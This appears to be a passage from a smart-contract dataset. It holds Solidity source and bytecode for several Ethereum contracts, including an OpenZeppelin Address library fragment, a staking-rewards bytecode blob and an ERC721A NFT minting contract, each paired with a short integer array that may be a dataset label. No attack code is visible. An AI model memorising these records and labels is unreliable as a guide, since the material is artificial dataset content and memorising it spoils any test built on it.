returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101fa5760003560e01c806380faa57d1161011a578063c8f33c91116100ad578063d7da4bb01161007c578063d7da4bb014610464578063de5f62681461046d578063df136d6514610475578063e9fad8ee1461047e578063ebe2b12b14610486576101fa565b8063c8f33c911461042d578063cd3daf9d14610436578063d1f7e0221461043e578063d35e254414610451576101fa565b806396c55175116100e957806396c55175146103e1578063a5881541146103f4578063b6b55f2514610407578063be4444611461041a576101fa565b806380faa57d1461038a57806382bfefc814610392578063853828b6146103b95780638b876347146103c1576101fa565b806336efd16f1161019257806363fb415b1161016157806363fb415b1461031157806370a08231146103315780637b0a47ee1461035a5780637c91e4eb14610363576101fa565b806336efd16f146102da5780633c6b16ab146102ed5780633d18b912146103005780633eaaf86b14610308576101fa565b80631be05289116101ce5780631be052891461028c5780631c1f78eb146102965780632e1a7d4d1461029e57806333eaa94f146102b3576101fa565b80628cc262146101ff5780630700037d1461022557806316872e7d1461024557806318160ddd14610284575b600080fd5b61021261020d366004611580565b61048f565b6040519081526020015b60405180910390f35b610212610233366004611580565b60066020526000908152604090205481565b61026c7f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d181565b6040516001600160a01b03909116815260200161021c565b61021261050f565b61021262093a8081565b610212610516565b6102b16102ac3660046115e3565b61052e565b005b61026c7f00000000000000000000000044a2491c8b7fffce87e2c6e490fa1db290eb511f81565b6102b16102e8366004611613565b61053a565b6102b16102fb3660046115e3565b610549565b6102b1610846565b61021260075481565b61021261031f366004611580565b600a6020526000908152604090205481565b61021261033f366004611580565b6001600160a01b031660009081526009602052604090205490565b61021260025481565b61026c7f0000000000000000000000008f25ef87e0f1ae9485ced01539f2f2e32785a18181565b61021261097b565b61026c7f00000000000000000000000013de270beb89babeea9101fa158afe3eb54b839381565b6102b1610989565b6102126103cf366004611580565b60056020526000908152604090205481565b6102b16103ef366004611580565b6109a4565b6102b1610402366004611613565b610a08565b6102b16104153660046115e3565b610a13565b610212610428366004611580565b610a1e565b61021260035481565b610212610b14565b6102b161044c36600461159a565b610b62565b61021261045f366004611580565b610c0a565b61021260085481565b6102b1610e43565b61021260045481565b6102b1610ee5565b61021260015481565b6001600160a01b0381166000908152600660209081526040808320546005909252822054610507919061050190670de0b6b3a7640000906104fb906104dc906104d6610b14565b90610f06565b6001600160a01b0388166000908152600a602052604090205490610f19565b90610f25565b90610f31565b90505b919050565b6007545b90565b6002546000906105299062093a80610f19565b905090565b61053781610f3d565b50565b610545828283610fa3565b5050565b336001600160a01b037f0000000000000000000000008f25ef87e0f1ae9485ced01539f2f2e32785a18116146105d95760405162461bcd60e51b815260206004820152602a60248201527f43616c6c6572206973206e6f742052657761726473446973747269627574696f6044820152691b8818dbdb9d1c9858dd60b21b60648201526084015b60405180910390fd5b60006105e3610b14565b6004556105ee61097b565b6003556001600160a01b03811615610635576106098161048f565b6001600160a01b0382166000908152600660209081526040808320939093556004546005909152919020555b61068a6001600160a01b037f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d1167f0000000000000000000000008f25ef87e0f1ae9485ced01539f2f2e32785a1813085611014565b60015442106106a8576106a08262093a80610f25565b6002556106ea565b6001546000906106b89042610f06565b905060006106d160025483610f1990919063ffffffff16565b90506106e462093a806104fb8684610f31565b60025550505b6040516370a0823160e01b81523060048201526000907f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d16001600160a01b0316906370a082319060240160206040518083038186803b15801561074c57600080fd5b505afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078491906115fb565b90506107938162093a80610f25565b60025411156107e45760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f2068696768000000000000000060448201526064016105d0565b4260038190556107f79062093a80610f31565b6001556040518381527fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9060200160405180910390a1506001600160a01b0381161561054557610545816109a4565b600260005414156108695760405162461bcd60e51b81526004016105d09061168d565b600260005533610877610b14565b60045561088261097b565b6003556001600160a01b038116156108c95761089d8161048f565b6001600160a01b0382166000908152600660209081526040808320939093556004546005909152919020555b33600090815260066020526040902054801561095a5733600081815260066020526040812055610924907f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d16001600160a01b03169083611085565b60405181815233907fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e04869060200160405180910390a25b506001600160a01b0381161561097357610973816109a4565b506001600055565b6000610529426001546110ba565b336000908152600960205260409020546109a290610f3d565b565b6001600160a01b0381166000908152600a60205260409020546008546109ca9082610f06565b6008556109d682610c0a565b6001600160a01b0383166000908152600a60205260409020819055600854909150610a019082610f31565b6008555050565b610545823383610fa3565b610537813333610fa3565b600060026000541415610a435760405162461bcd60e51b81526004016105d09061168d565b6002600055336001600160a01b037f00000000000000000000000013de270beb89babeea9101fa158afe3eb54b83931614610ae65760405162461bcd60e51b815260206004820152603760248201527f4f6e6c7920636f72726573706f6e64696e6720706f6f6c2063616e207769746860448201527f6472617720746f6b656e7320666f7220736f6d656f6e6500000000000000000060648201526084016105d0565b6001600160a01b038216600090815260096020526040902054610b0983826110d0565b600160005592915050565b600060075460001415610b2a5750600454610513565b610529610b596008546104fb670de0b6b3a7640000610b53600254610b536003546104d661097b565b90610f19565b60045490610f31565b336001600160a01b037f00000000000000000000000013de270beb89babeea9101fa158afe3eb54b83931614610c005760405162461bcd60e51b815260206004820152603860248201527f53746174652075706461746520776974686f7574207472616e7366657220636160448201527f6e206f6e6c792062652063616c6c656420627920706f6f6c000000000000000060648201526084016105d0565b6105458282611211565b6001600160a01b03811660009081526009602052604081205481610c3460646104fb846028610f19565b90506000807f00000000000000000000000044a2491c8b7fffce87e2c6e490fa1db290eb511f6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c9257600080fd5b505afa158015610ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cca91906115fb565b90508015610e0257610dff7f00000000000000000000000044a2491c8b7fffce87e2c6e490fa1db290eb511f6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6691906115fb565b6040516370a0823160e01b81526001600160a01b0389811660048301527f00000000000000000000000044a2491c8b7fffce87e2c6e490fa1db290eb511f16906370a082319060240160206040518083038186803b158015610dc757600080fd5b505afa158015610ddb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fb91906115fb565b91505b6000610e2360646104fb603c610b5387600754610f1990919063ffffffff16565b9050610e38610e328583610f31565b866110ba565b979650505050505050565b6040516370a0823160e01b81523360048201526109a2907f00000000000000000000000013de270beb89babeea9101fa158afe3eb54b83936001600160a01b0316906370a082319060240160206040518083038186803b158015610ea657600080fd5b505afa158015610eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ede91906115fb565b3333610fa3565b33600090815260096020526040902054610efe90610f3d565b6109a2610846565b6000610f12828461171b565b9392505050565b6000610f1282846116fc565b6000610f1282846116dc565b6000610f1282846116c4565b60026000541415610f605760405162461bcd60e51b81526004016105d09061168d565b6002600055610f6f33826110d0565b6109736001600160a01b037f00000000000000000000000013de270beb89babeea9101fa158afe3eb54b8393163383611085565b60026000541415610fc65760405162461bcd60e51b81526004016105d09061168d565b6002600055610fd58184611211565b61100a6001600160a01b037f00000000000000000000000013de270beb89babeea9101fa158afe3eb54b839316833086611014565b5050600160005550565b6040516001600160a01b038085166024830152831660448201526064810182905261107f9085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261132f565b50505050565b6040516001600160a01b0383166024820152604481018290526110b590849063a9059cbb60e01b90606401611048565b505050565b60008183106110c95781610f12565b5090919050565b336110d9610b14565b6004556110e461097b565b6003556001600160a01b0381161561112b576110ff8161048f565b6001600160a01b0382166000908152600660209081526040808320939093556004546005909152919020555b6000821161116f5760405162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b60448201526064016105d0565b60075461117c9083610f06565b6007556001600160a01b0383166000908152600960205260409020546111a29083610f06565b6001600160a01b038416600081815260096020526040908190209290925590517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906111f19085815260200190565b60405180910390a26001600160a01b038116156110b5576110b5816109a4565b8161121a610b14565b60045561122561097b565b6003556001600160a01b0381161561126c576112408161048f565b6001600160a01b0382166000908152600660209081526040808320939093556004546005909152919020555b600082116112ad5760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b60448201526064016105d0565b6007546112ba9083610f31565b6007556001600160a01b0383166000908152600960205260409020546112e09083610f31565b6001600160a01b038416600081815260096020526040908190209290925590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d906111f19085815260200190565b6000611384826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114019092919063ffffffff16565b8051909150156110b557808060200190518101906113a291906115c3565b6110b55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016105d0565b60606114108484600085611418565b949350505050565b6060824710156114795760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016105d0565b843b6114c75760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016105d0565b600080866001600160a01b031685876040516114e3919061163e565b60006040518083038185875af1925050503d8060008114611520576040519150601f19603f3d011682016040523d82523d6000602084013e611525565b606091505b5091509150610e388282866060831561153f575081610f12565b82511561154f5782518084602001fd5b8160405162461bcd60e51b81526004016105d0919061165a565b80356001600160a01b038116811461050a57600080fd5b600060208284031215611591578081fd5b610f1282611569565b600080604083850312156115ac578081fd5b6115b583611569565b946020939093013593505050565b6000602082840312156115d4578081fd5b81518015158114610f12578182fd5b6000602082840312156115f4578081fd5b5035919050565b60006020828403121561160c578081fd5b5051919050565b60008060408385031215611625578182fd5b8235915061163560208401611569565b90509250929050565b60008251611650818460208701611732565b9190910192915050565b6000602082528251806020840152611679816040850160208701611732565b601f01601f19169190910160400192915050565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b600082198211156116d7576116d761175e565b500190565b6000826116f757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156117165761171661175e565b500290565b60008282101561172d5761172d61175e565b500390565b60005b8381101561174d578181015183820152602001611735565b8381111561107f5750506000910152565b634e487b7160e01b600052601160045260246000fdfea26469706673582212200487870c8e0b4084c6b7f5384259d41b0c2a46ea959ef0eb7d38492d8914436864736f6c63430008020033
[ 13, 4, 9, 7 ]
0xf1d2d0e0997e1895c85938f3ecf0f37ad3895945
pragma solidity 0.8.11; // SPDX-License-Identifier: MIT import "./ERC721A.sol"; import "./Ownable.sol"; contract NFT_Contract is ERC721A, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.01 ether; uint256 public maxMint = 10; uint256 public maxSupply = 5000; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721A(_name, _symbol) { setBaseURI(_initBaseURI); } function mint(uint256 quantity) external payable { uint256 supply = totalSupply(); require(quantity > 0, "Quantity Must Be Higher Than Zero"); require(quantity <= maxMint , "You're Not Allowed To Mint more than maxMint Amount"); require(supply + quantity <= maxSupply, "Max Supply Reached"); if (msg.sender != owner()) { require(msg.value >= cost * quantity, "Insufficient Funds"); } _safeMint(msg.sender, quantity); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMint(uint256 _maxMint) public onlyOwner { maxMint = _maxMint; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function withdraw() public payable onlyOwner { uint256 balance = address(this).balance; require(balance > 0, "Balance should be more then zero"); payable(address(msg.sender)).transfer(balance); } }
0x6080604052600436106101cd5760003560e01c80636c0360eb116100f7578063a22cb46511610095578063d5abeb0111610064578063d5abeb01146104df578063da3ef23f146104f5578063e985e9c514610515578063f2fde38b1461055e57600080fd5b8063a22cb4651461046a578063b88d4fde1461048a578063c6682862146104aa578063c87b56dd146104bf57600080fd5b80637501f741116100d15780637501f7411461040e5780638da5cb5b1461042457806395d89b4114610442578063a0712d681461045757600080fd5b80636c0360eb146103c457806370a08231146103d9578063715018a6146103f957600080fd5b80632f745c591161016f5780634f6ccce71161013e5780634f6ccce714610344578063547520fe1461036457806355f804b3146103845780636352211e146103a457600080fd5b80632f745c59146102dc5780633ccfd60b146102fc57806342842e0e1461030457806344a0d68a1461032457600080fd5b8063095ea7b3116101ab578063095ea7b31461026157806313faede61461028357806318160ddd146102a757806323b872dd146102bc57600080fd5b806301ffc9a7146101d257806306fdde0314610207578063081812fc14610229575b600080fd5b3480156101de57600080fd5b506101f26101ed3660046119fe565b61057e565b60405190151581526020015b60405180910390f35b34801561021357600080fd5b5061021c6105eb565b6040516101fe9190611a73565b34801561023557600080fd5b50610249610244366004611a86565b61067d565b6040516001600160a01b0390911681526020016101fe565b34801561026d57600080fd5b5061028161027c366004611abb565b61070d565b005b34801561028f57600080fd5b50610299600a5481565b6040519081526020016101fe565b3480156102b357600080fd5b50600054610299565b3480156102c857600080fd5b506102816102d7366004611ae5565b610825565b3480156102e857600080fd5b506102996102f7366004611abb565b610830565b61028161098d565b34801561031057600080fd5b5061028161031f366004611ae5565b610a36565b34801561033057600080fd5b5061028161033f366004611a86565b610a51565b34801561035057600080fd5b5061029961035f366004611a86565b610a80565b34801561037057600080fd5b5061028161037f366004611a86565b610ae2565b34801561039057600080fd5b5061028161039f366004611bad565b610b11565b3480156103b057600080fd5b506102496103bf366004611a86565b610b4e565b3480156103d057600080fd5b5061021c610b60565b3480156103e557600080fd5b506102996103f4366004611bf6565b610bee565b34801561040557600080fd5b50610281610c7f565b34801561041a57600080fd5b50610299600b5481565b34801561043057600080fd5b506007546001600160a01b0316610249565b34801561044e57600080fd5b5061021c610cb5565b610281610465366004611a86565b610cc4565b34801561047657600080fd5b50610281610485366004611c11565b610e4a565b34801561049657600080fd5b506102816104a5366004611c4d565b610f0f565b3480156104b657600080fd5b5061021c610f48565b3480156104cb57600080fd5b5061021c6104da366004611a86565b610f55565b3480156104eb57600080fd5b50610299600c5481565b34801561050157600080fd5b50610281610510366004611bad565b611025565b34801561052157600080fd5b506101f2610530366004611cc9565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561056a57600080fd5b50610281610579366004611bf6565b611062565b60006001600160e01b031982166380ac58cd60e01b14806105af57506001600160e01b03198216635b5e139f60e01b145b806105ca57506001600160e01b0319821663780e9d6360e01b145b806105e557506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600180546105fa90611cfc565b80601f016020809104026020016040519081016040528092919081815260200182805461062690611cfc565b80156106735780601f1061064857610100808354040283529160200191610673565b820191906000526020600020905b81548152906001019060200180831161065657829003601f168201915b5050505050905090565b600061068a826000541190565b6106f15760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061071882610b4e565b9050806001600160a01b0316836001600160a01b031614156107875760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b60648201526084016106e8565b336001600160a01b03821614806107a357506107a38133610530565b6108155760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c0000000000000060648201526084016106e8565b6108208383836110fd565b505050565b610820838383611159565b600061083b83610bee565b82106108945760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016106e8565b600080549080805b8381101561092d576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff1691830191909152156108ef57805192505b876001600160a01b0316836001600160a01b03161415610924578684141561091d575093506105e592505050565b6001909301925b5060010161089c565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b60648201526084016106e8565b6007546001600160a01b031633146109b75760405162461bcd60e51b81526004016106e890611d37565b4780610a055760405162461bcd60e51b815260206004820181905260248201527f42616c616e63652073686f756c64206265206d6f7265207468656e207a65726f60448201526064016106e8565b604051339082156108fc029083906000818181858888f19350505050158015610a32573d6000803e3d6000fd5b5050565b61082083838360405180602001604052806000815250610f0f565b6007546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016106e890611d37565b600a55565b600080548210610ade5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b60648201526084016106e8565b5090565b6007546001600160a01b03163314610b0c5760405162461bcd60e51b81526004016106e890611d37565b600b55565b6007546001600160a01b03163314610b3b5760405162461bcd60e51b81526004016106e890611d37565b8051610a32906008906020840190611958565b6000610b598261143e565b5192915050565b60088054610b6d90611cfc565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9990611cfc565b8015610be65780601f10610bbb57610100808354040283529160200191610be6565b820191906000526020600020905b815481529060010190602001808311610bc957829003601f168201915b505050505081565b60006001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084016106e8565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6007546001600160a01b03163314610ca95760405162461bcd60e51b81526004016106e890611d37565b610cb36000611515565b565b6060600280546105fa90611cfc565b60005481610d1e5760405162461bcd60e51b815260206004820152602160248201527f5175616e74697479204d75737420426520486967686572205468616e205a65726044820152606f60f81b60648201526084016106e8565b600b54821115610d8c5760405162461bcd60e51b815260206004820152603360248201527f596f75277265204e6f7420416c6c6f77656420546f204d696e74206d6f7265206044820152721d1a185b881b585e135a5b9d08105b5bdd5b9d606a1b60648201526084016106e8565b600c54610d998383611d82565b1115610ddc5760405162461bcd60e51b815260206004820152601260248201527113585e0814dd5c1c1b1e4814995858da195960721b60448201526064016106e8565b6007546001600160a01b03163314610e405781600a54610dfc9190611d9a565b341015610e405760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742046756e647360701b60448201526064016106e8565b610a323383611567565b6001600160a01b038216331415610ea35760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c657200000000000060448201526064016106e8565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610f1a848484611159565b610f2684848484611581565b610f425760405162461bcd60e51b81526004016106e890611db9565b50505050565b60098054610b6d90611cfc565b6060610f62826000541190565b610fc65760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106e8565b6000610fd0611680565b90506000815111610ff0576040518060200160405280600081525061101e565b80610ffa8461168f565b600960405160200161100e93929190611e0c565b6040516020818303038152906040525b9392505050565b6007546001600160a01b0316331461104f5760405162461bcd60e51b81526004016106e890611d37565b8051610a32906009906020840190611958565b6007546001600160a01b0316331461108c5760405162461bcd60e51b81526004016106e890611d37565b6001600160a01b0381166110f15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e8565b6110fa81611515565b50565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006111648261143e565b80519091506000906001600160a01b0316336001600160a01b0316148061119b5750336111908461067d565b6001600160a01b0316145b806111ad575081516111ad9033610530565b9050806112175760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b60648201526084016106e8565b846001600160a01b031682600001516001600160a01b03161461128b5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b60648201526084016106e8565b6001600160a01b0384166112ef5760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016106e8565b6112ff60008484600001516110fd565b6001600160a01b03858116600090815260046020908152604080832080546001600160801b03198082166001600160801b03928316600019018316179092558986168086528386208054938416938316600190810190931693909317909255888552600390935281842080546001600160e01b031916909117600160a01b4267ffffffffffffffff16021790559086018083529120549091166113f4576113a7816000541190565b156113f4578251600082815260036020908152604090912080549186015167ffffffffffffffff16600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b604080518082019091526000808252602082015261145d826000541190565b6114bc5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b60648201526084016106e8565b815b6000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff16918301919091521561150b579392505050565b50600019016114be565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610a3282826040518060200160405280600081525061178d565b60006001600160a01b0384163b1561167457604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906115c5903390899088908890600401611ed0565b6020604051808303816000875af1925050508015611600575060408051601f3d908101601f191682019092526115fd91810190611f0d565b60015b61165a573d80801561162e576040519150601f19603f3d011682016040523d82523d6000602084013e611633565b606091505b5080516116525760405162461bcd60e51b81526004016106e890611db9565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611678565b5060015b949350505050565b6060600880546105fa90611cfc565b6060816116b35750506040805180820190915260018152600360fc1b602082015290565b8160005b81156116dd57806116c781611f2a565b91506116d69050600a83611f5b565b91506116b7565b60008167ffffffffffffffff8111156116f8576116f8611b21565b6040519080825280601f01601f191660200182016040528015611722576020820181803683370190505b5090505b841561167857611737600183611f6f565b9150611744600a86611f86565b61174f906030611d82565b60f81b81838151811061176457611764611f9a565b60200101906001600160f81b031916908160001a905350611786600a86611f5b565b9450611726565b61082083838360016000546001600160a01b0385166117f85760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016106e8565b836118565760405162461bcd60e51b815260206004820152602860248201527f455243373231413a207175616e74697479206d75737420626520677265617465604482015267072207468616e20360c41b60648201526084016106e8565b6001600160a01b03851660008181526004602090815260408083208054600160801b6001600160801b031982166001600160801b039283168c01831690811782900483168c01909216021790558483526003909152812080546001600160e01b031916909217600160a01b4267ffffffffffffffff16021790915581905b8581101561194f5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48315611943576119276000888488611581565b6119435760405162461bcd60e51b81526004016106e890611db9565b600191820191016118d4565b50600055611437565b82805461196490611cfc565b90600052602060002090601f01602090048101928261198657600085556119cc565b82601f1061199f57805160ff19168380011785556119cc565b828001600101855582156119cc579182015b828111156119cc5782518255916020019190600101906119b1565b50610ade9291505b80821115610ade57600081556001016119d4565b6001600160e01b0319811681146110fa57600080fd5b600060208284031215611a1057600080fd5b813561101e816119e8565b60005b83811015611a36578181015183820152602001611a1e565b83811115610f425750506000910152565b60008151808452611a5f816020860160208601611a1b565b601f01601f19169290920160200192915050565b60208152600061101e6020830184611a47565b600060208284031215611a9857600080fd5b5035919050565b80356001600160a01b0381168114611ab657600080fd5b919050565b60008060408385031215611ace57600080fd5b611ad783611a9f565b946020939093013593505050565b600080600060608486031215611afa57600080fd5b611b0384611a9f565b9250611b1160208501611a9f565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115611b5257611b52611b21565b604051601f8501601f19908116603f01168101908282118183101715611b7a57611b7a611b21565b81604052809350858152868686011115611b9357600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215611bbf57600080fd5b813567ffffffffffffffff811115611bd657600080fd5b8201601f81018413611be757600080fd5b61167884823560208401611b37565b600060208284031215611c0857600080fd5b61101e82611a9f565b60008060408385031215611c2457600080fd5b611c2d83611a9f565b915060208301358015158114611c4257600080fd5b809150509250929050565b60008060008060808587031215611c6357600080fd5b611c6c85611a9f565b9350611c7a60208601611a9f565b925060408501359150606085013567ffffffffffffffff811115611c9d57600080fd5b8501601f81018713611cae57600080fd5b611cbd87823560208401611b37565b91505092959194509250565b60008060408385031215611cdc57600080fd5b611ce583611a9f565b9150611cf360208401611a9f565b90509250929050565b600181811c90821680611d1057607f821691505b60208210811415611d3157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611d9557611d95611d6c565b500190565b6000816000190483118215151615611db457611db4611d6c565b500290565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b600084516020611e1f8285838a01611a1b565b855191840191611e328184848a01611a1b565b8554920191600090600181811c9080831680611e4f57607f831692505b858310811415611e6d57634e487b7160e01b85526022600452602485fd5b808015611e815760018114611e9257611ebf565b60ff19851688528388019550611ebf565b60008b81526020902060005b85811015611eb75781548a820152908401908801611e9e565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611f0390830184611a47565b9695505050505050565b600060208284031215611f1f57600080fd5b815161101e816119e8565b6000600019821415611f3e57611f3e611d6c565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082611f6a57611f6a611f45565b500490565b600082821015611f8157611f81611d6c565b500390565b600082611f9557611f95611f45565b500690565b634e487b7160e01b600052603260045260246000fdfea26469706673582212206153b2134dd7053e06af7e5a9e4f9644ab1285493a982c1e013edfc45177aa6164736f6c634300080b0033
[ 12, 5, 19 ]
0xf1d353199fdf1f1b8a1ccd641611129137a40aec
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by 